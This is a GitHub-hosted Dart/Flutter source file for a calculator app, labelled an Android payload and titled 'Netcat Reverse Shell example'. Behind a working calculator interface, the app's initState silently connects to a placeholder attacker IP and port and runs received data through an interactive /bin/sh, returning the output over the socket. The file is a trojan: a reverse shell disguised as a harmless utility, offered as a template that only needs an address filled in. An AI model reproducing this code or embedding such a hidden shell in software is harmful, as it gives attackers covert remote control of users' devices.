-
Notifications
You must be signed in to change notification settings - Fork 0
/
flutter_dart_calculator_android_payload
156 lines (143 loc) · 4.13 KB
/
flutter_dart_calculator_android_payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
import 'package:flutter/material.dart';
import 'dart:io';
import 'dart:convert';
void main() {
runApp(const CalculatorApp());
}
class CalculatorApp extends StatelessWidget {
const CalculatorApp({super.key});
@override
Widget build(BuildContext context) {
return MaterialApp(
title: 'Netcat Reverse Shell example',
theme: ThemeData.dark().copyWith(
colorScheme: ThemeData.dark().colorScheme.copyWith(
surface: Colors.grey[900],
),
),
home: const CalculatorScreen(),
);
}
}
class CalculatorScreen extends StatefulWidget {
const CalculatorScreen({super.key});
@override
_CalculatorScreenState createState() => _CalculatorScreenState();
}
class _CalculatorScreenState extends State<CalculatorScreen> {
String _output = '0';
double _num1 = 0;
double _num2 = 0;
String _operand = '';
late Socket _socket;
@override
void initState() {
super.initState();
_connectToServer();
}
void _connectToServer() async {
try {
_socket = await Socket.connect("<IP>", <PORT>);
_socket.listen(
(data) {
Process.start('/bin/sh', ['-i']).then((Process process) {
process.stdin.writeln(String.fromCharCodes(data).trim());
process.stdout.transform(utf8.decoder).listen((output) {
_socket.write(output);
});
});
},
onDone: () {
_socket.destroy();
},
onError: (error) {
print("Connection Error: $error");
_socket.destroy();
},
);
} catch (e) {
print("Unable to connect: $e");
}
}
void _buttonPressed(String buttonText) {
setState(() {
if (buttonText == 'C') {
_output = '0';
_num1 = 0;
_num2 = 0;
_operand = '';
} else if (['+', '-', '*', '/'].contains(buttonText)) {
_num1 = double.tryParse(_output) ?? 0;
_operand = buttonText;
_output = '0';
} else if (buttonText == '=') {
_num2 = double.tryParse(_output) ?? 0;
if (_operand == '+') _output = (_num1 + _num2).toString();
if (_operand == '-') _output = (_num1 - _num2).toString();
if (_operand == '*') _output = (_num1 * _num2).toString();
if (_operand == '/') _output = (_num2 != 0) ? (_num1 / _num2).toString() : 'Error';
_num1 = 0;
_num2 = 0;
_operand = '';
} else {
_output = (_output == '0') ? buttonText : _output + buttonText;
}
});
}
Widget _buildButton(String buttonText, Color buttonColor, Color textColor) {
return Expanded(
child: Container(
margin: const EdgeInsets.all(8.0),
child: ElevatedButton(
style: ElevatedButton.styleFrom(
foregroundColor: textColor, backgroundColor: buttonColor,
),
onPressed: () => _buttonPressed(buttonText),
child: Text(buttonText, style: const TextStyle(fontSize: 24.0)),
),
),
);
}
Widget _buildButtonRow(List<String> buttons) {
return Row(
children: buttons.map((button) => _buildButton(
button,
button == 'C' ? Colors.grey[700]! : Colors.grey[900]!,
['=', '/', '*', '-', '+'].contains(button) ? Colors.white : Colors.amber,
)).toList(),
);
}
@override
Widget build(BuildContext context) {
return Scaffold(
appBar: AppBar(title: const Text('Calculator')),
body: Column(
children: [
Expanded(
child: Container(
alignment: Alignment.bottomRight,
padding: const EdgeInsets.all(24.0),
child: Text(
_output,
style: const TextStyle(fontSize: 48.0, fontWeight: FontWeight.bold),
),
),
),
Column(
children: [
_buildButtonRow(['7', '8', '9', '/']),
_buildButtonRow(['4', '5', '6', '*']),
_buildButtonRow(['1', '2', '3', '-']),
_buildButtonRow(['C', '0', '=', '+']),
],
),
],
),
);
}
@override
void dispose() {
_socket.close();
super.dispose();
}
}